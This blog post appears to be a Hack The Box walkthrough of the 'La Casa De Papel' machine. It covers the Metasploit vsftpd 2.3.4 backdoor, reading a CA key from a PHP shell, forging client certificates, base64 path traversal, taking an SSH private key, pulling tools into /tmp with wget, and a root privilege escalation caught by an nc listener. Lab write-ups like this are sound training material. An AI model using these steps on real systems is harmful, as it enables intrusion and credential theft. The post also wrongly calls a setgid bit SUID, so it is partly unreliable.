HTB – La Casa De Papel

Alright, here we go!

It’s Wednesday night. I have tonight and tomorrow, then this box is being retired on Saturday!

I’ve done some tweeting, tried to make it a group activity! (

However, for now, it’s just me!

First off, what the heck is La Casa De Papel? Google tells me  it’s a Spanish heist TV show. Available on netflix!

Once this box is done, that is getting a watch!

First off, let’s run an nmap:

nmap -sC -sV -T4 -oA nmap/nmap

The results are in and we have 4 ports open!

Both 80 and 443 are web servers running nodeJS.

Let’s start with port 80:

There is a QR code. Let’s try scanning it!

As I thought “token couldn’t be read!”. So it’s not a legit QR code. Let’s download it and see if strings brings back anything

Nothing that makes sense yet. Let’s save that for later!

Within the page code, we do get some bits for the QR code:

}</style></head><body><div><form method="POST"><input type="image" src="/qrcode?qrurl=otpauth%3A%2F%2Fhotp%2FToken%3Fsecret%3DHB4HUKBMLN2XK22WKNJXOJDWKU5GCSZV%26algorithm%3DSHA1" readonly="readonly" onclick="return false"><input name="secret" type="hidden" value="HB4HUKBMLN2XK22WKNJXOJDWKU5GCSZV"><input name="token" type="text" placeholder="ONE PASSWORD" autocomplete="off"><a target="_blank" href=";hl=en&amp;oco=0">Install Google Authenticator</a><input name="email" type="email" placeholder="E-MAIL" autocomplete="off"><button>GET FREE TRIAL</button></form></div></body></html>

The token secret might be interesting

Let’s get a gobuster running while we carry on poking about!

gobuster -u -w /usr/share/wordlists/rockyou.txt

So port 443, what wonders do you behold?

A very specific user added certificate error:

Looking at the certificate itself, it looks like it’s only valid for lacasadepapel.htb

Off to our hosts file we go!

editing /etc/hosts and adding in: lacasadepapel.htb

Going back to the website, via the new DNS it still brings back the same error.

Let’s get a gobuster going here too! This is slightly harder as we get the error

So we need the -k flag to skip ssl certificate verification

gobuster -u https://lacasadepapel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k

We get a result that a wildcard response is found, specify the -fw switch to force the process. Doing this just brings back every domain as a 302.

Rather than ignoring just 302s, why don’t we accept only status 200s.

gobuster -u https://lacasadepapel.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -fw -s 200

That’s now happily running through.

While they are running, shall we look closer at the FTP service. Does that allow anonymous logins?

root@oblivion:~/Documents/htb/casa# ftp
Connected to
220 (vsFTPd 2.3.4)
Name ( anonymous
331 Please specify the password.
530 Login incorrect.
Login failed.
ftp> ls
530 Please login with USER and PASS.
ftp: bind: Address already in use
ftp> exit
221 Goodbye.

It does not!

My feeling is we need a username and password from port 80, to get a certificate from port 21 to view port 443.

While we are waiting for the gobusters to finish. let’s run a full port scan.

Nothing on any of them.

So I guess we need to get a cert somehow. Can we create our own cert and get that to be used?

I wouldn’t say so, as any certificate that we create won’t be signed by the certificate authority, so won’t have that chain of trust resulting in it not working.

Instead looking at the headers that are returned in burp, for both port 80 & 443 we see what we got told about in the nmap scan:

HTTP/1.1 401 Unauthorized 
X-Powered-By: Express 
Content-Type: text/html; charset=utf-8 
Content-Length: 931 
ETag: W/"3a3-ltZ9andWBAdO1mJpoSYlrCWcCP0" 
Date: Wed, 24 Jul 2019 18:09:17 GMT 
Connection: close

Both pages are being powered by Express, which is a NodeJS module.

Looking around the internet, we find this and this . These indicate that there is a way to get RCE from anything running Express.

Let’s give them a look through and see what we would need to do!

Going through those steps just returns nothing. The QR code is the only valid URL with a “?” to start on and that doesn’t work

I’ve had a break and still no idea. A quick look on the forums says that the initial foothold might be through the FTP server.

We know it’s not anonymous login, so let’s take a deeper look using:

The metasploit module of ftp_version looks interesting. Let’s set that up


use auxiliary/scanner/ftp/ftp_version

show options

Set the RHOSTS



We get a banner back with some interesting information.

Annoyingly, looking back at our nmap scan we started with, we had that information!

So a searchsploit for vsftpd gives us some results.

The last one is what we want, command execution! So let’s boot metasploit backup and take a look:

search vsftpd

use exploit/unix/ftp/vsftpd_234_backdoor

show payloads

set PAYLOAD cmd/unix/interact


Running this we get a sucessful message. We run it again and get a more interesting message

Well we saw this port earlier on our full nmap scan but it was filtered. Looks like we might have just opened it up.

What this module is doing is entering a username with a 🙂 in it. This opens the backdoor.

Trying with a web browser doesn’t load anything.

Giving it a go with FTP however!

Running whoami / pwd / ls etc all bring back errors. A quick help and we get:

Having a poke about with help from a good friend!

We manage to do an ls giving us the variables available

Tokyo looks pretty exciting. Let’s see if we can dump that out!

show $tokyo

So we know there is stuff there,

Looking at this, can we run any php code?

echo "test"

We get a result of test, so we can run php code in this shell.

Looking at phpinfo() we find out that a whole bunch of useful stuff is disabled:

So we can’t run shell_exec or any of that juicy stuff. However we must be able to read files. The php code above gets file contents, so why can’t we?


So, shall we see what the code was looking at earlier


We have a ca key!

Now that we have this, we can copy it across to our local box and save it was rootca.key Then we need to make a new certificate!

Before that, lets take a quick look to see what else is around


No user.txt sadly!

However we can do:


After a bit of poking around, the user.txt file is in /home/berlin but sadly we don’t have permission for that

We can use openssl for this:

openssl req -new -key rootca.key -out lacasadepapel.htb.csr

Questions will be asked, so let’s look at the certificate on the website to get the answers that we can.

So we now have a csr. Hopefully with this and the key we can create a client certificate.

Looking round the net, I think we might have a command:

openssl x509 -req -days 365 -in lacasadepapel.htb.csr -signkey rootca.key -sha256 -out lacasadepapel.crt

That ran through properly, we now have bingo.crt.

Let’s add this cert to our cert store and see if we can access the website on port 443.

I think my bingo was too keen! Far too keen!

So the error we are getting is “peer certificate issuer is not recongized”

After some more playing, we get issues that it’s a self-signed certificate and also it looks like the browsers aren’t using my certificate, they are using the hosts ones.

What I forgot, was to create a client certificate, we need both the key and the crt in the same file, then to create that into a .p12

So using nano we put the files together. With the ca.key on the top then the created crt below.

openssl pkcs12 -export -in ca.txt -out lacasadepapel.p12

This then creates a p12 certificate, which can be added to your local certificates in firefox.

Loading the website then asks for the cert, give it that one and boom

Looking around, we have seasons 1 and 2 and each have an avi file.

Each of the avi files had a URL of something like:


This to me looks suspect, why wouldn’t it just be the episode number?

Putting that through a base64 decoder we get:


Useful, also trying the change the path to SEASON-2 from:




Gives us an error:

Error: ENOTDIR: not a directory, scandir '/home/berlin/downloads/../../../../../../etc/passwd/'
at Object.fs.readdirSync (fs.js:904:18)
at /home/berlin/server.js:10:20
at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)
at next (/home/berlin/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/berlin/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/berlin/node_modules/express/lib/router/layer.js:95:5)
at /home/berlin/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/berlin/node_modules/express/lib/router/index.js:335:12)
at next (/home/berlin/node_modules/express/lib/router/index.js:275:10)
at expressInit (/home/berlin/node_modules/express/lib/middleware/init.js:40:5

So it looks like it’s looking for items in downloads. Now from earlier we know the user.txt is in /home/berlin so can we base64 ../user.txt
Which gives us


Trying this out we get:


Which downloads a file, called user.txt

Boom, we have the user flag!

I am so very glad we finally got here!

Now, to get access to the box, I really hope this user has ssh keys!

Let’s go back to the Psy Shell and see what’s in the Berlin home directory to see what could be useful

There is a .ssh folder, let’s see if authorized_keys is there

That might be useful, although we don’t currently have the public key. Also the comment is odd:


How odd

Another file we know is there, is server.js let’s take a look at this, it has a very interesting line:

This means that we might be able to look at folders! Let’s try it


Yesssss! So we can now enumerate the folders and files! This is ace!

Looking in the .ssh folder we have:


Let’s grab all of these.

So id_rsa is a private key with the comment of berlin@lacasadepapel.htb

The is the public key.

Let’s try the private key

ssh -i id_rsa berlin@

We get asked for a password, hmm.

Might as well try all users before we look into how to get the public key onto the machine.

OMG, boom! Ok that was unexpected!

We have a shell, as professor.

So never trust the comments on CTFs!

The shell is odd though. Looking at /etc/passwd it’s an “ash” shell.

I get excited by getting shells, some people on the other hand, just enjoy mocking!

Let’s try and upgrade that to bash!

python -c 'import pty;pty.spawn("/bin/bash")'

This for the first time in my life, didn’t do anything! How odd!

Looking in /etc/ there is os-release, we are running:

NAME="Alpine Linux"
PRETTY_NAME="Alpine Linux v3.8"

Never heard of it. the website claims its “a security-oriented, lightweight Linux distribution”

This version was released on 11-09-2018 so not too old but not fully new either.

As always though, let’s get on it and see what we find.

Copying it across from my local box using a SimpleHTTPServer

python -m SimpleHTTPServer 9000

wget -O /tmp/

Let’s run that and see what happens.

The permissions on the home directories are odd:

The user of nobody owns 2 of the home directories. Strange

There is also an interesting process running

nobody is running it, but in the professor home directory.

In the home directory we have:

lacasadepapel [~]$ ls -al
total 24
drwxr-sr-x 4 professo professo 4096 Mar 6 20:56 .
drwxr-xr-x 7 root root 4096 Feb 16 18:06 ..
lrwxrwxrwx 1 root professo 9 Nov 6 2018 .ash_history -> /dev/null
drwx------ 2 professo professo 4096 Jan 31 21:36 .ssh
-rw-r--r-- 1 root root 88 Jan 29 01:25 memcached.ini
-rw-r----- 1 root nobody 434 Jan 29 01:24 memcached.js
drwxr-sr-x 9 root professo 4096 Jan 29 01:31 node_modules


So memcached.ini is owned by root but I can read it:

command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

Whereas memcached.js group is nobody and I can’t read that one.

So I guess I need to try and become nobody to success here.

I can’t run sudo -u as I don’t know the passwords. Let’s see if we can see what’s going on here using pspy

pspy64s just wouldn’t run, so I went back to the github page and downloaded the 32bit one which ran.

Running it didn’t show a lot that we hadn’t kinda guessed:

The UID of 65534 is nobody. So nobody is running that command pretty often.

So what is this doing, what is /usr/bin/node?

It looks like that’s the nodeJS service. And it’s running memcached.js which makes sense. This will all be via the .ini file, so let’s take a look at that.

We can’t edit it, so that’s out straight away. We get permission denied.

It seems like the right method though. Everything else is hanging off node here. Let’s take a look at that

If we do /usr/bin/node we get a nodejs shell. A quick google found out how to write a file:

const fs = require('fs');
fs.writeFile("/tmp/test", "Hey there!", function(err) {
if(err) {
return console.log(err);

console.log("The file was saved!");

Trying this works and creates a file called test which when read says “Hey there!”.

So, can we over-write the memcached.js file? Let’s create a basic file that should echo something to temp:

const fs = require('fs');
fs.writeFile("/home/professor/memcached.js", "echo 'Winning!' > /tmp/wins", function(err) {
if(err) {
return console.log(err);

console.log("The file was saved!");



Looking again at the permissions on /home/ we notice that the professor directory has the permissions of


The s for group is odd. Normally it would be x for execute. So what is the “s” in Linux permissions?

This is the SUID, so a binary runs as the owner not as your user.

As an off chance of reading a forum explaining it here: it said we might be able to use rm with the s permission

Looking at that, I ran rm memcached.js and guess what! It’s gone!

So let’s create a file that creates a file in temp

SO let’s wait for that job to run again and see if the file gets created. If it does, we can then put in some sort of shell command and hopefully get some priv-esc!

That job didn’t appear to run again, I’m not sure why, but the file never got created.

I have sadly, run out of time and awakeness. So this is a box that will remain unrooted.

I’m sure i’ll see on Saturday just how very close I was to this!


*********Post Retirement**********

So the box got retired and unfortunately I didn’t manage to root it in time!

Rather than prodding around, I watched ippsecs video and I was so very close!

The fact that we changed the .js file not the .ini was the issue. We also would have had to have kept the format, so we wanted to make a new memcached.ini with something like:

We set up a listener on our local box

nc -nvlp 9002

Then we wait for the connection back! Nothing happens. So the command isn’t being run.

We instead need to tell it what bash to use, so we add in a few words:

After only a couple of minutes, we get a shell back!

So we were very close. We got the idea of the directory permissions, just didn’t quite push it over that line. I think we would have got there.

What annoys me slightly is watching the pspy and not seeing the cronjob being run, I’m not sure what happened there!

All in all, a fun 2 day box! The SSL cert was frustrating due to my own failures but other than that  I really enjoyed it. I especially like the easy but very important webapp directory listing and reading file contents.


Leave a Reply

Your email address will not be published. Required fields are marked *